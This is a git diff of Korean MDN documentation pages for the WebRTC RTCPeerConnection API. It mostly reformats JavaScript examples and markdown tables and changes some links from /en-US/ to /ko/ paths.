index ada88e70d3a315..e94c4d7ded02dc 100644
--- a/files/ko/web/api/rtcpeerconnection/generatecertificate_static/index.md
+++ b/files/ko/web/api/rtcpeerconnection/generatecertificate_static/index.md
@@ -11,7 +11,7 @@ original_slug: Web/API/RTCPeerConnection/generateCertificate
 ## Syntax
 
 ```js
-var cert = RTCPeerConnection.generateCertificate(keygenAlgorithm)
+var cert = RTCPeerConnection.generateCertificate(keygenAlgorithm);
 ```
 
 ### 매개변수
@@ -29,12 +29,12 @@ var cert = RTCPeerConnection.generateCertificate(keygenAlgorithm)
 
 ```js
 RTCPeerConnection.generateCertificate({
-    name: 'RSASSA-PKCS1-v1_5',
-    hash: 'SHA-256',
-    modulusLength: 2048,
-    publicExponent: new Uint8Array([1, 0, 1])
-}).then(function(cert) {
-  var pc = new RTCPeerConnection({certificates: [cert]});
+  name: "RSASSA-PKCS1-v1_5",
+  hash: "SHA-256",
+  modulusLength: 2048,
+  publicExponent: new Uint8Array([1, 0, 1]),
+}).then(function (cert) {
+  var pc = new RTCPeerConnection({ certificates: [cert] });
 });
 ```
 
diff --git a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.md b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.md
index 10a24d77d6ed87..a70056a51b054e 100644
--- a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.md
+++ b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.md
@@ -30,13 +30,16 @@ var configuration = RTCPeerConnection.getConfiguration();
 ```js
 let configuration = myPeerConnection.getConfiguration();
 
-if ((configuration.certificates != undefined) && (!configuration.certificates.length)) {
-   RTCPeerConnection.generateCertificate({
-      name: 'RSASSA-PKCS1-v1_5',
-      hash: 'SHA-256',
-      modulusLength: 2048,
-      publicExponent: new Uint8Array([1, 0, 1])
-  }).then(function(cert) {
+if (
+  configuration.certificates != undefined &&
+  !configuration.certificates.length
+) {
+  RTCPeerConnection.generateCertificate({
+    name: "RSASSA-PKCS1-v1_5",
+    hash: "SHA-256",
+    modulusLength: 2048,
+    publicExponent: new Uint8Array([1, 0, 1]),
+  }).then(function (cert) {
     configuration.certificates = [cert];
     myPeerConnection.setConfiguration(configuration);
   });
diff --git a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.md b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.md
index e544de66e52e8c..d291b28cc84c9d 100644
--- a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.md
+++ b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.getIdentityAssertion()
 slug: Web/API/RTCPeerConnection/getIdentityAssertion
 ---
+
 {{APIRef("WebRTC")}}{{SeeCompatTable}}
 
 **`RTCPeerConnection.getIdentityAssertion()`** 메소드는 식별 주장의 수집을 시작합니다. 이 메소드는 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 `"closed"` 상태가 아닐 때에만 유효합니다.
diff --git a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.md b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.md
index e1e30e79501f6b..43523f156a0931 100644
--- a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.md
+++ b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection.getTransceivers()
 slug: Web/API/RTCPeerConnection/getTransceivers
 ---
+
 {{APIRef("WebRTC")}}
 
 {{domxref("RTCPeerConnection")}} 인터페이스의 **`getTransceivers()`** 메소드는 연결에서 데이터 전송 및 수신에 사용되는 {{domxref("RTCRtpTransceiver")}} 객체의 리스트를 반환합니다.
@@ -25,7 +26,7 @@ transceiverList = RTCPeerConnection.getTransceivers();
 아래 코드는 `RTCPeerConnection`와 연관된 모든 트랜시버를 중지시킵니다.
 
 ```js
-pc.getTransceivers.forEach(transceiver => {
+pc.getTransceivers.forEach((transceiver) => {
   transceiver.stop();
 });
 ```
diff --git a/files/ko/web/api/rtcpeerconnection/icecandidate_event/index.md b/files/ko/web/api/rtcpeerconnection/icecandidate_event/index.md
index 6e49325df6f09c..6b9dda1e3b7e9a 100644
--- a/files/ko/web/api/rtcpeerconnection/icecandidate_event/index.md
+++ b/files/ko/web/api/rtcpeerconnection/icecandidate_event/index.md
@@ -23,14 +23,14 @@ RTCPeerConnection.onicecandidate = eventHandler;
 아래는 [Signaling and video calling](/ko/docs/Web/API/WebRTC_API/Signaling_and_video_calling) 문서의 코드를 기반으로 원격 피어에게 ICE candidate를 전달하는 {{event("icecandidate")}} 이벤트에 대한 핸들러를 설정합니다.
 
 ```js
-pc.onicecandidate = function(event) {
+pc.onicecandidate = function (event) {
   if (event.candidate) {
     // event.candidate가 존재하면 원격 유저에게 candidate를 전달합니다.
   } else {
     // 모든 ICE candidate가 원격 유저에게 전달된 조건에서 실행됩니다.
     // candidate = null
   }
-}
+};
 ```
 
 위에서 알 수 있듯이, 이벤트의 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성이 `null`이면 네고시에이션의 종료가 감지됩니다.
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.md b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.md
index e80a23cbbf693a..42e8bb2a67cad7 100644
--- a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.md
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.md
@@ -23,8 +23,8 @@ var state = RTCPeerConnection.iceGatheringState;
 
 [`RTCPeerConnection.iceGatheringState`](/ko/docs/Web/API/RTCPeerConnection/iceGatheringState) 속성을 사용하게되면 반환되는 `RTCIceGatheringState` enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. {{DOMxRef("RTCPeerConnection/icegatheringstatechange_event", "icegatheringstatechange")}} 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.
 
-| 상수명 | 설명 |
-| --- | --- |
+| 상수명        | 설명                                                                                                                                                                                                         |
+| ------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
 | `"new"`       | 피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태                                                                                                                                            |
 | `"gathering"` | ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태                                                                                                                              |
 | `"complete"`  | ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 `complete`에서 `gathering`으로 다시 바뀝니다. |
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.md b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.md
index 66d8c774793889..5dadf076e5bb94 100644
--- a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.md
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'RTCPeerConnection: icegatheringstatechange event'
+title: "RTCPeerConnection: icegatheringstatechange event"
 slug: Web/API/RTCPeerConnection/icegatheringstatechange_event
 ---
 
@@ -9,10 +9,10 @@ slug: Web/API/RTCPeerConnection/icegatheringstatechange_event
 
 ICE가 처음 연결 candidate들을 수집하게되면 값이 `new`에서 `gathering`으로 바뀌게 되고, 이는 연결에 대한 candidate 설정들을 수집하는 과정 중에 있다는 뜻입니다. 값이 complete가 되면, RTCPeerConnection을 구성하는 모든 트랜스포트들이 ICE candidate 수집을 완료한 상태입니다.
 
-| Bubbles       | No                                                                                                                   |
-| ------------- | -------------------------------------------------------------------------------------------------------------------- |
-| 취소가능여부  | No                                                                                                                   |
-| 인터페이스    | {{domxref("Event")}}                                                                                         |
+| Bubbles       | No                                                                                      |
+| ------------- | --------------------------------------------------------------------------------------- |
+| 취소가능여부  | No                                                                                      |
+| 인터페이스    | {{domxref("Event")}}                                                                    |
 | 이벤트 핸들러 | {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} |
 
 > **참고:** ICE candidate 수집 과정이 완료되었는지는 `icegatheringstatechange`이벤트와 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 `complete`로 바뀌는 것을 확인하면 알 수 있습니다. 하지만, 더 쉬운 방법으로는 {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}} 이벤트에 대한 핸들러가 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성의 값이 null로 변하는 시점을 체크하도록 할 수 있습니다. 이 속성이 `null` 값으로 바뀌었다는 것은 즉 모든 candidate 수집이 완료되었다는 뜻입니다.
@@ -22,10 +22,10 @@ ICE가 처음 연결 candidate들을 수집하게되면 값이 `new`에서 `gath
 아래 예제는 `icegatheringstatechange` 이벤트에대한 핸들러를 생성합니다.
 
 ```js
-pc.onicegatheringstatechange = ev => {
+pc.onicegatheringstatechange = (ev) => {
   let connection = ev.target;
 
-  switch(connection.iceGatheringState) {
+  switch (connection.iceGatheringState) {
     case "gathering":
       /* candidate 수집 과정 시작 */
       break;
@@ -33,24 +33,28 @@ pc.onicegatheringstatechange = ev => {
       /* candidate 수집 완료 */
       break;
   }
-}
+};
 ```
 
 아래처럼 {{domxref("EventTarget.addEventListener", "addEventListener()")}}을 사용해서 `icegatheringstatechange` 이벤트에 대한 변경을 감지하는 리스너를 추가 할 수 있습니다.
 
 ```js
-pc.addEventListener("icegatheringstatechange", ev => {
-  let connection = ev.target;
-
-  switch(connection.iceGatheringState) {
-    case "gathering":
-      /* candidate 수집 과정 시작 */
-      break;
-    case "complete":
-      /* candidate 수집 완료 */
-      break;
-  }
-}, false);
+pc.addEventListener(
+  "icegatheringstatechange",
+  (ev) => {
+    let connection = ev.target;
+
+    switch (connection.iceGatheringState) {
+      case "gathering":
+        /* candidate 수집 과정 시작 */
+        break;
+      case "complete":
+        /* candidate 수집 완료 */
+        break;
+    }
+  },
+  false,
+);
 ```
 
 ## 명세
diff --git a/files/ko/web/api/rtcpeerconnection/index.md b/files/ko/web/api/rtcpeerconnection/index.md
index cbe33769affc0f..01be5d99d261b8 100644
--- a/files/ko/web/api/rtcpeerconnection/index.md
+++ b/files/ko/web/api/rtcpeerconnection/index.md
@@ -2,6 +2,7 @@
 title: RTCPeerConnection
 slug: Web/API/RTCPeerConnection
 ---
+
 {{APIRef('WebRTC')}}
 
 **`RTCPeerConnection`** 인터페이스는 로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 담당하며 원격 피어에 연결하기 위한 메서드들을 제공하고, 연결을 유지하고 연결 상태를 모니터링하며 더 이상 연결이 필요하지 않을 경우 연결을 종료합니다.
@@ -28,11 +29,13 @@ slug: Web/API/RTCPeerConnection
 - {{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
   - : ICE candidate를 수집하는 과정에서 에러가 발생하면 연결에 {{domxref("RTCPeerConnectionIceErrorEvent")}} 에러 타입을 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 - {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}
+
   - : 연결이 끊기는 상황과 같이 ICE 연결의 상태가 변하게되면 `RTCPeerConnection`에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 
 - {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
   - : {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}에 의해 반영되는 ICE 계층의 수집 상태가 변하면, `RTCPeerConnection`에 전달합니다. 계층의 수집 상태는 ICE 네고시에이션이 아직 시작을 안했거나 (`new`), 시작하고 candidate를 수집하는 중이거나 (`gathering`), 혹은 수집이 완료 (`complete`)된 상태로 나눠집니다. 이는 또한, {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 - {{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
+
   - : 연결과 관련이 있는 하나의 {{domxref("MediaStreamTrack")}} 객체가 있는 {{domxref("MediaStreamTrack.isolated", "isolated")}} 속성의 값이 변하면, `RTCPeerConnection`에 전달합니다. 만약 미디어 컨텐츠가 인증이 되어있지 않거나, 트랙이 cross-origin source (CORS)에서 오는 것이라면 트랙의 상태는 {{domxref("MediaStreamTrack.isolated", "isolated")}}이 됩니다. 이는 또한, {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 
 - {{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
@@ -40,11 +43,13 @@ slug: Web/API/RTCPeerConnection
 - {{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}
   - : 연결의 ICE 신호 상태가 변경되면 `signalingstatechange`이벤트를 `RTCPeerConnection`에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 - {{domxref("RTCPeerConnection.statsended_event", "statsended")}}
+
   - : 모니터링이 되던 statistics 객체가 삭제되면, `statsended`이벤트를 전달합니다. {{domxref("RTCStatsEvent")}}는 삭제된 객체의 마지막 리포트를 포함합니다. 마지막 리포트를 전달받고나서 여러개의 객체가 삭제되었다면, 여러 객체에 대한 마지막 리포트를 포함합니다. 예를 들어 연결이 종료되거나 삭제되면, statistics 객체는 삭제됩니다.
 
     The `statsended` event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.
 
     Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.
+
 - {{domxref("RTCPeerConnection.track_event", "track")}}
   - : 연결을 구성하고 있는 {{domxref("RTCRtpReceiver")}} 인스턴스들 중 하나에 신규 트랙이 추가된 후에, `track`이벤트를 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
 
@@ -86,13 +91,13 @@ The `RTCBundlePolicy` enum defines string constants which are used to request a
 
 The `RTCIceConnectionState` enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).
 
-| 상수명           | 설명                                                                                                                                                                                                                                                                                                                                                                                                       |
-| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `"new"`          | The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).                                                                                                                                                                                                                          |
-| `"checking"`     | The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.                                                                                    |
-| `"connected"`    | A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.                                                                           |
-| `"completed"`    | The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.                                                                                                                                                                                                                                                                 |
-| `"failed"`       | The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.                                                                                                                                                    |
+| 상수명           | 설명                                                                                                                                                                                                                                                                                                                                                                                           |
+| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `"new"`          | The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).                                                                                                                                                                                                                                |
+| `"checking"`     | The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.                                                                        |
+| `"connected"`    | A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.                                                               |
+| `"completed"`    | The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.                                                                                                                                                                                                                                                     |
+| `"failed"`       | The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.                                                                                                                                        |
 | `"disconnected"` | Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than `"failed"` and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the `"connected"` state. |
 | `"closed"`       | The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.                                                                                                                                                                                                                                                                                      |
 
@@ -110,33 +115,33 @@ The `RTCIceConnectionState` enum defines the string constants used to describe t
 
 The `RTCIceTransportPolicy` enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.
 
-| 상수명                                  | 설명                                                                                                                            |
-| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
-| `"all"`                                 | All ICE candidates will be considered.                                                                                          |
+| 상수명                           | 설명                                                                                                                            |
+| -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
+| `"all"`                          | All ICE candidates will be considered.                                                                                          |
 | `"public"` {{deprecated_inline}} | Only ICE candidates with public IP addresses will be considered. _Removed from the specification's May 13, 2016 working draft._ |
-| `"relay"`                               | Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered. |
+| `"relay"`                        | Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered. |
 
 ### RTCPeerConnectionState enum
 
 `RTCPeerConnectionState` enum은 `RTCPeerConnection`이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다.
 
-| 상수명           | 설명                                                                                                                                                                                                                                                                                                                       |
-| ---------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `"new"`          | 연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 `"new"` 상태이고, 그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: `"connecting"`, `"checking"`, `"failed"`, 혹은 `"disconnected"`, 혹은 모든 연결의 전송이 끝났다는 `"closed"`상태.                                                                                |
-| `"connecting"`   | 하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 `RTCIceConnectionState`가 `"checking"` 혹은 `"connected"`이며, 그 어떤 전송도 `"failed"`상태가 아니여야합니다. **<<< Make this a link once I know where that will be documented**                                                         |
-| `"connected"`    | 연결에 의해 사용되는 모든 ICE 전송이 사용 중 (`"connected"` 혹은 `"completed"`)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 `"connected"` 혹은 `"completed"`입니다.                                                                                                                                            |
-| `"disconnected"` | 연결에 대한 최소 한 개의 ICE 전송이 `"disconnected"`상태이고, 그 외의 다른 전송 상태는 `"failed"`, `"connecting"`, 혹은 `"checking"`이 아님을 알려주는 값.                                                                                                                                                                 |
-| `"failed"`       | 연결에 대한 하나 혹은 여러개의 ICE 전송이 `"failed"`상태임을 알려주는 값.                                                                                                                                                                                                                                                  |
+| 상수명           | 설명                                                                                                                                                                                                                                                                                                |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `"new"`          | 연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 `"new"` 상태이고, 그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: `"connecting"`, `"checking"`, `"failed"`, 혹은 `"disconnected"`, 혹은 모든 연결의 전송이 끝났다는 `"closed"`상태.                                                         |
+| `"connecting"`   | 하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 `RTCIceConnectionState`가 `"checking"` 혹은 `"connected"`이며, 그 어떤 전송도 `"failed"`상태가 아니여야합니다. **<<< Make this a link once I know where that will be documented**                                  |
+| `"connected"`    | 연결에 의해 사용되는 모든 ICE 전송이 사용 중 (`"connected"` 혹은 `"completed"`)이거나, 종료된 상태입니다. 추가적으로 최소 하나의 전송이 `"connected"` 혹은 `"completed"`입니다.                                                                                                                     |
+| `"disconnected"` | 연결에 대한 최소 한 개의 ICE 전송이 `"disconnected"`상태이고, 그 외의 다른 전송 상태는 `"failed"`, `"connecting"`, 혹은 `"checking"`이 아님을 알려주는 값.                                                                                                                                          |
+| `"failed"`       | 연결에 대한 하나 혹은 여러개의 ICE 전송이 `"failed"`상태임을 알려주는 값.                                                                                                                                                                                                                           |
 | `"closed"`       | `RTCPeerConnection` 개통되지 않음을 알려주는 값.2016년 5월 13일에 작성된 명세서의 초안에 따르면, 이 값은 [`RTCPeerConnectionState` enum](#RTCPeerConnectionState_enum) 안에 존재했었습니다. 따라서, {{domxref("RTCPeerConnection.signalingState", "signalingState")}}의 값을 통해 찾을 수 있습니다. |
 
 ### RTCRtcpMuxPolicy enum
 
 The `RTCRtcpMuxPolicy` enum defines string constants which specify what ICE candidates are gathered to support non-multiplexed RTCP. **<<\<add a link to info about multiplexed RTCP.**
 
-| 상수명        | 설명                                                                                                                                                                                                                                                                                                  |
-| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 상수명        | 설명                                                                                                                                                                                                                                                                                     |
+| ------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `"negotiate"` | Instructs the ICE agent to gather both {{Glossary("RTP")}} and {{Glossary("RTCP")}} candidates. If the remote peer can multiplex RTCP, then RTCP candidates are multiplexed atop the corresponding RTP candidates. Otherwise, both the RTP and RTCP candidates are returned, separately. |
-| `"require"`   | Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.                                                                                                                     |
+| `"require"`   | Tells the ICE agent to gather ICE candidates for only RTP, and to multiplex RTCP atop them. If the remote peer doesn't support RTCP multiplexing, then session negotiation fails.                                                                                                        |
 
 ### RTCSignalingState enum
 
diff --git a/files/ko/web/api/rtcpeerconnection/localdescription/index.md b/files/ko/web/api/rtcpeerconnection/localdescription/index.md
index 266267af90ca09..8737700995947e 100644
--- a/files/ko/web/api/rtcpeerconnection/localdescription/index.md
+++ b/files/ko/web/api/rtcpeerconnection/localdescription/index.md
@@ -15,7 +15,7 @@ slug: Web/API/RTCPeerConnection/localDescription
 const sessionDescription = peerConnection.localDescription;
 ```
 
-기본적으로 반환 값은 해당 속성이 `null`이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 [Pending and current descriptions](/en-US/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 참조하십시오.
+기본적으로 반환 값은 해당 속성이 `null`이 아닐 때에만 {{domxref("RTCPeerConnection.pendingLocalDescription")}}의 값입니다. 그렇지 않은 경우에는 {{domxref("RTCPeerConnection.currentLocalDescription")}}의 값이 반환됩니다. 이 알고리즘 및 사용하는 이유에 대한 자세한 설명은 [Pending and current descriptions](/ko/docs/Web/API/WebRTC_API/Connectivity#pending_and_current_descriptions)를 참조하십시오.
 
 ## 예시
 
@@ -27,8 +27,7 @@ const pc = new RTCPeerConnection();
 const sd = pc.localDescription;
 if (sd) {
   alert(`Local session: type='${sd.type}'; sdp description='${sd.sdp}'`);
-}
-else {
+} else {
   alert("No local session yet.");
 }
 ```
diff --git a/files/ko/web/api/rtcpeerconnection/removetrack/index.md b/files/ko/web/api/rtcpeerconnection/removetrack/index.md
index 59939e5ef21d2b..9445c26c4030eb 100644
--- a/files/ko/web/api/rtcpeerconnection/removetrack/index.md
+++ b/files/ko/web/api/rtcpeerconnection/removetrack/index.md
@@ -35,16 +35,20 @@ pc.removeTrack(sender);
 
 ```js
 var pc, sender;
-navigator.getUserMedia({video: true}, function(stream) {
+navigator.getUserMedia({ video: true }, function (stream) {
   pc = new RTCPeerConnection();
   var track = stream.getVideoTracks()[0];
   sender = pc.addTrack(track, stream);
 });
 
-document.getElementById("closeButton").addEventListener("click", function(event) {
-  pc.removeTrack(sender);
-  pc.close();
-}, false);
+document.getElementById("closeButton").addEventListener(
+  "click",
+  function (event) {
+    pc.removeTrack(sender);
+    pc.close();
+  },
+  false,
+);
 ```
 
 ## 사양서
diff --git a/files/ko/web/api/rtcpeerconnection/restartice/index.md b/files/ko/web/api/rtcpeerconnection/restartice/index.md
index ecc04ff605dbfa..2e492bcbbb57f4 100644
--- a/files/ko/web/api/rtcpeerconnection/restartice/index.md
+++ b/files/ko/web/api/rtcpeerconnection/restartice/index.md
@@ -29,14 +29,14 @@ RTCPeerConnection.restartIce();
 
 {{domxref("RTCPeerConnection.createOffer", "createOffer()")}}를 사용해서 만들어진 다음 offer가 신호 메커니즘을 통해 원격 유저에게 전달이 되면, ICE 재시작을 시작하도록 만듭니다. ICE를 재시작하게되면 기본적으로 ICE가 초기화되고, 새로운 증명서를 사용해서 신규 candidate를 생성합니다. 기존에 존재하던 미디어 전송/수신은 이 과정동안에는 방해받지 않습니다.
 
-ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, [ICE restart](/en-US/docs/Web/API/WebRTC_API/Session_lifetime#ice_restart)와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.
+ICE 재시작의 작동원리를 좀 더 자세히 알고 싶다면, [ICE restart](/ko/docs/Web/API/WebRTC_API/Session_lifetime#ice_restart)와 {{RFC(5245, "ICE specification", "9.1.1.1")}}를 참고하십시오.
 
 ## 예시
 
 아래의 예제는 {{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}} 이벤트에 대한 핸들러입니다. 이 핸들러는 ICE를 재시작하여 `failed` 상태로의 전환을 관리합니다.
 
 ```js
-pc.addEventListener("iceconnectionstatechange", event => {
+pc.addEventListener("iceconnectionstatechange", (event) => {
   if (pc.iceConnectionState === "failed") {
     /* possibly reconfigure the connection in some way here */
     /* then request ICE restart */
diff --git a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.md b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.md
index 9f8a73f3d9e0a5..b7dea8105dbe69 100644
--- a/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.md
+++ b/files/ko/web/api/rtcpeerconnection/rtcpeerconnection/index.md
@@ -16,11 +16,15 @@ pc = new RTCPeerConnection([configuration]);
 ### 매개변수
 
 - `configuration` {{optional_inline}}
+
   - : 새로운 연결을 설정하는 옵션 객체입니다.
+
     - `bundlePolicy` {{optional_inline}}
+
       - : 원격 피어가 [SDP BUNDLE 표준](https://webrtcstandards.info/sdp-bundle/)과 호환되지 않을 때 어떻게 candidate의 네고시에이션을 처리 할 것인지를 정의합니다.
 
         가능한 값은 다음 열거형 값 중 하나로, 기본 값은 `balanced`입니다.
+
         - `balanced`
           - : The ICE agent initially creates one {{domxref("RTCDtlsTransport")}}
             for each type of content added: audio, video, and data channels.
@@ -36,14 +40,19 @@ pc = new RTCPeerConnection([configuration]);
             to carry all of the {{DOMxRef("RTCPeerConnection")}}'s data.
             If the remote endpoint is not BUNDLE-aware,
             then only a single track will be negotiated and the rest ignored.
+
     - `certificates` {{optional_inline}}
+
       - : 연결 인증에 사용할 {{domxref("RTCCertificate")}}를 담은 {{jsxref("Array")}}입니다. 지정하지 않을 경우 {{domxref("RTCPeerConnection")}} 인스턴스 각각에 대해 인증서가 자동으로 생성됩니다. 주어진 연결에 대해 하나의 인증서만 사용되지만, 다양한 알고리즘을 사용하는 여러 인증서를 제공하면 특정 상황에서의 연결 성공률을 높일 수 있습니다. 아래의 [인증서 사용하기](#인증서_사용하기)에서 더 많은 정보를 확인하세요.
 
         > **참고:** 이 옵션은 처음 지정한 이후 변경할 수 없습니다. 인증서를 설정한 후엔 모든 {{domxref("RTCPeerConnection.setConfiguration()")}}이 무시됩니다.
+
     - `iceCandidatePoolSize` {{optional_inline}}
+
       - : ICE candidate 풀의 크기를 지정하는 부호 없는 16비트 정수 값입니다. 기본 값은 0으로 candidate 를 미리 가져오지 않을 것임을 나타냅니다. 연결 시도 전부터 ICE 에이전트가 ICE candidate를 가져올 수 있도록 허용하면 {{domxref("RTCPeerConnection.setLocalDescription()")}} 호출 시점에 이미 candidate를 조사할 수 있으므로 특정 상황에서 연결 속도가 빨라질 수 있습니다.
 
         > **참고:** ICE candidate 풀의 크기를 변경하면 ICE 수집이 시작할 수 있습니다.
+
     - `iceServers` {{optional_inline}}
       - : ICE 에이전트가 사용할 수 있는 서버(보통 STUN/TURN)를 설명하는 {{domxref("RTCIceServer")}} 객체의 배열입니다. 지정하지 않을 경우 STUN/TURN 서버를 사용하지 않고 연결 시도를 하므로 연결이 로컬 피어로 제한됩니다.
